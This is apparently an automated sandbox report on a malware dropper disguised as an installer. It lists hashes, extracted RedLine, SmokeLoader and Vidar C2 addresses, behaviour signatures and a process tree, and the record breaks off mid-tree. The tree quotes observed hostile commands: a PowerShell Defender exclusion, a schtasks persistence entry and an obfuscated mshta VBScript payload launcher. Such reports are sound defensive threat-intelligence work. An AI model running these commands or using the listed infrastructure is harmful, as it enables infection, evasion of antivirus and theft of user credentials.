Resubmissions

13-10-2021 18:35

211013-w8lxmaegdr 10

13-10-2021 12:38

211013-pvkdbadhdm 10

13-10-2021 05:30

211013-f7nrtsdfa3 10

12-10-2021 20:25

211012-y7qwasdbh4 10

11-10-2021 21:02

211011-zvywtaabdq 10

Analysis

  • max time kernel
    132s
  • max time network
    614s
  • platform
    windows10_x64
  • resource
    win10-de-20210920
  • submitted
    13-10-2021 18:35

General

  • Target

    setup_x86_x64_install.exe

  • Size

    3.4MB

  • MD5

    26f28bf2dc2b6afc0dd99cb6ea3879b8

  • SHA1

    9270b9f48e2d14cc2cbed61ee2e2389d5f69ce05

  • SHA256

    5f30eae71c1b0d08e7ec5adfc9a0dc98078595502b60a584a8df5cdf8cacf7fa

  • SHA512

    5a350373e87673c9ba39e5353bea1d7c1f2f7bc62a703ed13e892e69037008f3e2accadbdd0ec0bd976e54c68b79dfad6fb37517dd55448cac4d9d74ae8a037b

Malware Config

Extracted

Family

redline

Botnet

she

C2

135.181.129.119:4805

Extracted

Family

smokeloader

Version

2020

C2

http://gmpeople.com/upload/

http://mile48.com/upload/

http://lecanardstsornin.com/upload/

http://m3600.com/upload/

http://camasirx.com/upload/

rc4.i32
rc4.i32

Extracted

Family

vidar

Version

41.2

Botnet

933

C2

https://mas.to/@serg4325

Attributes
  • profile_id

    933

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies system executable filetype association 2 TTPs 1 IoCs
  • Neshta

    Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • suricata: ET MALWARE GCleaner Downloader Activity M5

    suricata: ET MALWARE GCleaner Downloader Activity M5

  • suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

    suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

  • suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

    suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 3 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 64 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Checks BIOS information in registry 2 TTPs 18 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 1 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 7 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 18 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Kills process with taskkill 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Modifies registry class 21 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
    1⤵
    • Drops file in System32 directory
    PID:1032
    • C:\Users\Admin\AppData\Roaming\buieagr
      C:\Users\Admin\AppData\Roaming\buieagr
      2⤵
        PID:4116
        • C:\Users\Admin\AppData\Roaming\buieagr
          C:\Users\Admin\AppData\Roaming\buieagr
          3⤵
            PID:6704
        • C:\Users\Admin\AppData\Roaming\eaieagr
          C:\Users\Admin\AppData\Roaming\eaieagr
          2⤵
            PID:7120
          • \??\c:\windows\system\svchost.exe
            c:\windows\system\svchost.exe
            2⤵
              PID:4520
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s Browser
            1⤵
              PID:2716
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s BITS
              1⤵
              • Suspicious use of SetThreadContext
              • Modifies registry class
              PID:3916
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k SystemNetworkService
                2⤵
                • Checks processor information in registry
                • Modifies data under HKEY_USERS
                • Modifies registry class
                PID:5224
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s WpnService
              1⤵
                PID:2584
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                1⤵
                  PID:2564
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                  1⤵
                    PID:2396
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                    1⤵
                      PID:2372
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                      1⤵
                        PID:1920
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s SENS
                        1⤵
                          PID:1420
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                          1⤵
                            PID:1320
                          • c:\windows\system32\svchost.exe
                            c:\windows\system32\svchost.exe -k netsvcs -s Themes
                            1⤵
                              PID:1204
                            • c:\windows\system32\svchost.exe
                              c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                              1⤵
                                PID:1084
                              • c:\windows\system32\svchost.exe
                                c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                                1⤵
                                  PID:1004
                                • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
                                  "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
                                  1⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3488
                                  • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                                    "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                                    2⤵
                                    • Executes dropped EXE
                                    • Suspicious use of WriteProcessMemory
                                    PID:364
                                    • C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\setup_install.exe
                                      "C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\setup_install.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Suspicious use of WriteProcessMemory
                                      PID:2796
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                                        4⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:1052
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                                          5⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2308
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c Mon20762bc3f6.exe
                                        4⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:1812
                                        • C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon20762bc3f6.exe
                                          Mon20762bc3f6.exe
                                          5⤵
                                          • Executes dropped EXE
                                          PID:1476
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c Mon206b909958ed4.exe /mixone
                                        4⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:2244
                                        • C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon206b909958ed4.exe
                                          Mon206b909958ed4.exe /mixone
                                          5⤵
                                          • Executes dropped EXE
                                          PID:3060
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 660
                                            6⤵
                                            • Program crash
                                            PID:4924
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 676
                                            6⤵
                                            • Program crash
                                            PID:3792
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 684
                                            6⤵
                                            • Program crash
                                            PID:4176
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 700
                                            6⤵
                                            • Program crash
                                            PID:3548
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 844
                                            6⤵
                                            • Program crash
                                            PID:5552
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 900
                                            6⤵
                                            • Program crash
                                            PID:7036
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 932
                                            6⤵
                                            • Program crash
                                            PID:3548
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 1220
                                            6⤵
                                            • Executes dropped EXE
                                            • Program crash
                                            PID:508
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 1292
                                            6⤵
                                            • Program crash
                                            PID:1588
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 1372
                                            6⤵
                                            • Program crash
                                            PID:6052
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 1364
                                            6⤵
                                            • Program crash
                                            PID:2008
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c Mon20927aab1e5.exe
                                        4⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:4032
                                        • C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon20927aab1e5.exe
                                          Mon20927aab1e5.exe
                                          5⤵
                                          • Executes dropped EXE
                                          PID:776
                                          • C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon20927aab1e5.exe
                                            C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon20927aab1e5.exe
                                            6⤵
                                            • Executes dropped EXE
                                            PID:2304
                                          • C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon20927aab1e5.exe
                                            C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon20927aab1e5.exe
                                            6⤵
                                            • Executes dropped EXE
                                            PID:4260
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c Mon209b3da1556b9a317.exe
                                        4⤵
                                          PID:2164
                                          • C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon209b3da1556b9a317.exe
                                            Mon209b3da1556b9a317.exe
                                            5⤵
                                              PID:1384
                                              • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                6⤵
                                                • Executes dropped EXE
                                                PID:3584
                                                • C:\Users\Admin\AppData\Local\Temp\inst1.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
                                                  7⤵
                                                  • Executes dropped EXE
                                                  PID:1928
                                                • C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe"
                                                  7⤵
                                                  • Executes dropped EXE
                                                  PID:2180
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2180 -s 900
                                                    8⤵
                                                    • Program crash
                                                    PID:6424
                                                • C:\Users\Admin\AppData\Local\Temp\4.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\4.exe"
                                                  7⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:4168
                                                  • C:\Windows\system32\WerFault.exe
                                                    C:\Windows\system32\WerFault.exe -u -p 4168 -s 1544
                                                    8⤵
                                                    • Program crash
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:5080
                                                • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                  7⤵
                                                  • Executes dropped EXE
                                                  PID:4320
                                                  • C:\Users\Admin\AppData\Local\Temp\is-74K4G.tmp\setup.tmp
                                                    "C:\Users\Admin\AppData\Local\Temp\is-74K4G.tmp\setup.tmp" /SL5="$301F0,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                    8⤵
                                                      PID:4716
                                                      • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
                                                        9⤵
                                                        • Executes dropped EXE
                                                        PID:5116
                                                        • C:\Users\Admin\AppData\Local\Temp\is-M5TAO.tmp\setup.tmp
                                                          "C:\Users\Admin\AppData\Local\Temp\is-M5TAO.tmp\setup.tmp" /SL5="$B01D4,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
                                                          10⤵
                                                          • Executes dropped EXE
                                                          • Loads dropped DLL
                                                          • Suspicious use of SetThreadContext
                                                          • Drops file in Program Files directory
                                                          • Suspicious use of FindShellTrayWindow
                                                          PID:776
                                                          • C:\Users\Admin\AppData\Local\Temp\is-222EQ.tmp\postback.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\is-222EQ.tmp\postback.exe" ss1
                                                            11⤵
                                                              PID:6020
                                                    • C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
                                                      7⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:1384
                                                      • C:\Users\Admin\AppData\Roaming\7317263.scr
                                                        "C:\Users\Admin\AppData\Roaming\7317263.scr" /S
                                                        8⤵
                                                          PID:4664
                                                        • C:\Users\Admin\AppData\Roaming\7760839.scr
                                                          "C:\Users\Admin\AppData\Roaming\7760839.scr" /S
                                                          8⤵
                                                          • Executes dropped EXE
                                                          • Checks BIOS information in registry
                                                          • Checks whether UAC is enabled
                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                          PID:4324
                                                        • C:\Users\Admin\AppData\Roaming\7727165.scr
                                                          "C:\Users\Admin\AppData\Roaming\7727165.scr" /S
                                                          8⤵
                                                          • Suspicious behavior: SetClipboardViewer
                                                          PID:5840
                                                        • C:\Users\Admin\AppData\Roaming\8616791.scr
                                                          "C:\Users\Admin\AppData\Roaming\8616791.scr" /S
                                                          8⤵
                                                          • Checks BIOS information in registry
                                                          • Checks whether UAC is enabled
                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                          PID:5740
                                                        • C:\Users\Admin\AppData\Roaming\8538796.scr
                                                          "C:\Users\Admin\AppData\Roaming\8538796.scr" /S
                                                          8⤵
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:4924
                                                      • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
                                                        7⤵
                                                        • Executes dropped EXE
                                                        • Modifies registry class
                                                        PID:4516
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                                                          8⤵
                                                            PID:4888
                                                            • C:\Windows\system32\schtasks.exe
                                                              schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                                              9⤵
                                                              • Creates scheduled task(s)
                                                              PID:6104
                                                          • C:\Windows\svchost.com
                                                            "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Roaming\SERVIC~1.EXE"
                                                            8⤵
                                                            • Drops file in Program Files directory
                                                            • Drops file in Windows directory
                                                            PID:5640
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c Mon20b6f9d5bd03a305.exe
                                                    4⤵
                                                      PID:2596
                                                      • C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon20b6f9d5bd03a305.exe
                                                        Mon20b6f9d5bd03a305.exe
                                                        5⤵
                                                        • Executes dropped EXE
                                                        PID:3496
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c Mon20d3b8b752.exe
                                                      4⤵
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:2000
                                                      • C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon20d3b8b752.exe
                                                        Mon20d3b8b752.exe
                                                        5⤵
                                                        • Executes dropped EXE
                                                        • Checks computer location settings
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:1488
                                                        • C:\Users\Admin\Pictures\Adobe Films\d7izfwqcxSxTs_ip0dRdhKhU.exe
                                                          "C:\Users\Admin\Pictures\Adobe Films\d7izfwqcxSxTs_ip0dRdhKhU.exe"
                                                          6⤵
                                                          • Executes dropped EXE
                                                          PID:4300
                                                        • C:\Users\Admin\Pictures\Adobe Films\IaypBaV00UCViExk2rtkhNx2.exe
                                                          "C:\Users\Admin\Pictures\Adobe Films\IaypBaV00UCViExk2rtkhNx2.exe"
                                                          6⤵
                                                          • Executes dropped EXE
                                                          PID:3808
                                                          • C:\Users\Admin\Pictures\Adobe Films\IaypBaV00UCViExk2rtkhNx2.exe
                                                            "IaypBaV00UCViExk2rtkhNx2.exe"
                                                            7⤵
                                                              PID:5696
                                                            • C:\Users\Admin\Pictures\Adobe Films\IaypBaV00UCViExk2rtkhNx2.exe
                                                              "IaypBaV00UCViExk2rtkhNx2.exe"
                                                              7⤵
                                                                PID:1644
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1644 -s 144
                                                                  8⤵
                                                                  • Program crash
                                                                  PID:5820
                                                            • C:\Users\Admin\Pictures\Adobe Films\7r5fhqYuyEumtO7YM1fvQjIx.exe
                                                              "C:\Users\Admin\Pictures\Adobe Films\7r5fhqYuyEumtO7YM1fvQjIx.exe"
                                                              6⤵
                                                                PID:508
                                                                • C:\Windows\svchost.com
                                                                  "C:\Windows\svchost.com" "C:\Users\Admin\DOCUME~1\BGFYOC~1.EXE"
                                                                  7⤵
                                                                    PID:6840
                                                                    • C:\Users\Admin\DOCUME~1\BGFYOC~1.EXE
                                                                      C:\Users\Admin\DOCUME~1\BGFYOC~1.EXE
                                                                      8⤵
                                                                        PID:6876
                                                                        • C:\Windows\svchost.com
                                                                          "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\WDNL5A~1.EXE"
                                                                          9⤵
                                                                            PID:3592
                                                                            • C:\Users\Admin\Pictures\ADOBEF~1\WDNL5A~1.EXE
                                                                              C:\Users\Admin\Pictures\ADOBEF~1\WDNL5A~1.EXE
                                                                              10⤵
                                                                                PID:4492
                                                                            • C:\Windows\svchost.com
                                                                              "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\YDDI6J~1.EXE"
                                                                              9⤵
                                                                                PID:5604
                                                                                • C:\Users\Admin\Pictures\ADOBEF~1\YDDI6J~1.EXE
                                                                                  C:\Users\Admin\Pictures\ADOBEF~1\YDDI6J~1.EXE
                                                                                  10⤵
                                                                                    PID:960
                                                                                • C:\Windows\svchost.com
                                                                                  "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\DGH0B0~1.EXE"
                                                                                  9⤵
                                                                                    PID:5924
                                                                                    • C:\Users\Admin\Pictures\ADOBEF~1\DGH0B0~1.EXE
                                                                                      C:\Users\Admin\Pictures\ADOBEF~1\DGH0B0~1.EXE
                                                                                      10⤵
                                                                                        PID:5764
                                                                                        • C:\Windows\svchost.com
                                                                                          "C:\Windows\svchost.com" "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\ADOBEF~1\DGH0B0~1.EXE"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\ADOBEF~1\DGH0B0~1.EXE"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                          11⤵
                                                                                            PID:364
                                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                                              C:\Windows\System32\mshta.exe vbsCrIPT:cLoSE( CrEaTeoBJeCt( WscRIpT.sHElL ). Run ( cmd /R cOpY /Y ""C:\Users\Admin\Pictures\ADOBEF~1\DGH0B0~1.EXE"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\ADOBEF~1\DGH0B0~1.EXE"" ) do taskkill -f -iM ""%~NxM"" , 0 , truE ) )
                                                                                              12⤵
                                                                                                PID:5664
                                                                                        • C:\Windows\svchost.com
                                                                                          "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\6VXNRN~1.EXE" /mixtwo
                                                                                          9⤵
                                                                                            PID:6680
                                                                                            • C:\Users\Admin\Pictures\ADOBEF~1\6VXNRN~1.EXE
                                                                                              C:\Users\Admin\Pictures\ADOBEF~1\6VXNRN~1.EXE /mixtwo
                                                                                              10⤵
                                                                                              • Suspicious use of SetThreadContext
                                                                                              PID:2548
                                                                                          • C:\Windows\svchost.com
                                                                                            "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\8FKAMJ~1.EXE"
                                                                                            9⤵
                                                                                              PID:6504
                                                                                              • C:\Users\Admin\Pictures\ADOBEF~1\8FKAMJ~1.EXE
                                                                                                C:\Users\Admin\Pictures\ADOBEF~1\8FKAMJ~1.EXE
                                                                                                10⤵
                                                                                                  PID:6996
                                                                                              • C:\Windows\svchost.com
                                                                                                "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\RXO_TW~1.EXE"
                                                                                                9⤵
                                                                                                  PID:5884
                                                                                                  • C:\Users\Admin\Pictures\ADOBEF~1\RXO_TW~1.EXE
                                                                                                    C:\Users\Admin\Pictures\ADOBEF~1\RXO_TW~1.EXE
                                                                                                    10⤵
                                                                                                      PID:5360
                                                                                                  • C:\Windows\svchost.com
                                                                                                    "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\JLU4R6~1.EXE"
                                                                                                    9⤵
                                                                                                      PID:5748
                                                                                                      • C:\Users\Admin\Pictures\ADOBEF~1\JLU4R6~1.EXE
                                                                                                        C:\Users\Admin\Pictures\ADOBEF~1\JLU4R6~1.EXE
                                                                                                        10⤵
                                                                                                          PID:6436
                                                                                                      • C:\Windows\svchost.com
                                                                                                        "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\OQ2KTG~1.EXE"
                                                                                                        9⤵
                                                                                                          PID:6480
                                                                                                          • C:\Users\Admin\Pictures\ADOBEF~1\OQ2KTG~1.EXE
                                                                                                            C:\Users\Admin\Pictures\ADOBEF~1\OQ2KTG~1.EXE
                                                                                                            10⤵
                                                                                                              PID:4684
                                                                                                          • C:\Windows\svchost.com
                                                                                                            "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\HPC6G3~1.EXE"
                                                                                                            9⤵
                                                                                                              PID:7056
                                                                                                              • C:\Users\Admin\Pictures\ADOBEF~1\HPC6G3~1.EXE
                                                                                                                C:\Users\Admin\Pictures\ADOBEF~1\HPC6G3~1.EXE
                                                                                                                10⤵
                                                                                                                  PID:1092
                                                                                                                  • C:\Users\Admin\AppData\Roaming\8568118.scr
                                                                                                                    "C:\Users\Admin\AppData\Roaming\8568118.scr" /S
                                                                                                                    11⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:4664
                                                                                                                  • C:\Users\Admin\AppData\Roaming\4974247.scr
                                                                                                                    "C:\Users\Admin\AppData\Roaming\4974247.scr" /S
                                                                                                                    11⤵
                                                                                                                      PID:6476
                                                                                                                    • C:\Users\Admin\AppData\Roaming\8097829.scr
                                                                                                                      "C:\Users\Admin\AppData\Roaming\8097829.scr" /S
                                                                                                                      11⤵
                                                                                                                        PID:4220
                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                          12⤵
                                                                                                                            PID:2656
                                                                                                                        • C:\Users\Admin\AppData\Roaming\8629902.scr
                                                                                                                          "C:\Users\Admin\AppData\Roaming\8629902.scr" /S
                                                                                                                          11⤵
                                                                                                                            PID:5448
                                                                                                                          • C:\Users\Admin\AppData\Roaming\4756473.scr
                                                                                                                            "C:\Users\Admin\AppData\Roaming\4756473.scr" /S
                                                                                                                            11⤵
                                                                                                                              PID:5456
                                                                                                                        • C:\Windows\svchost.com
                                                                                                                          "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\DXLVOB~1.EXE"
                                                                                                                          9⤵
                                                                                                                            PID:5240
                                                                                                                            • C:\Users\Admin\Pictures\ADOBEF~1\DXLVOB~1.EXE
                                                                                                                              C:\Users\Admin\Pictures\ADOBEF~1\DXLVOB~1.EXE
                                                                                                                              10⤵
                                                                                                                                PID:7040
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-RICLF.tmp\DXLVOB~1.tmp
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-RICLF.tmp\DXLVOB~1.tmp" /SL5="$104AC,506127,422400,C:\Users\Admin\Pictures\ADOBEF~1\DXLVOB~1.EXE"
                                                                                                                                  11⤵
                                                                                                                                    PID:4744
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-A34DP.tmp\DYbALA.exe
                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-A34DP.tmp\DYbALA.exe" /S /UID=2709
                                                                                                                                      12⤵
                                                                                                                                        PID:4256
                                                                                                                                        • C:\Program Files\Windows Defender Advanced Threat Protection\PAEAROKMDG\foldershare.exe
                                                                                                                                          "C:\Program Files\Windows Defender Advanced Threat Protection\PAEAROKMDG\foldershare.exe" /VERYSILENT
                                                                                                                                          13⤵
                                                                                                                                            PID:1864
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\b2-54f61-e18-59787-f9277031e14dc\Fagaewilewe.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\b2-54f61-e18-59787-f9277031e14dc\Fagaewilewe.exe"
                                                                                                                                            13⤵
                                                                                                                                              PID:6000
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\91-88ec9-f61-3ce9d-857ecd27935a9\Taregaqaela.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\91-88ec9-f61-3ce9d-857ecd27935a9\Taregaqaela.exe"
                                                                                                                                              13⤵
                                                                                                                                                PID:5624
                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uokflhfi.luk\GcleanerEU.exe /eufive & exit
                                                                                                                                                  14⤵
                                                                                                                                                    PID:6384
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\uokflhfi.luk\GcleanerEU.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\uokflhfi.luk\GcleanerEU.exe /eufive
                                                                                                                                                      15⤵
                                                                                                                                                        PID:7088
                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wxehpyx0.i0b\installer.exe /qn CAMPAIGN="654" & exit
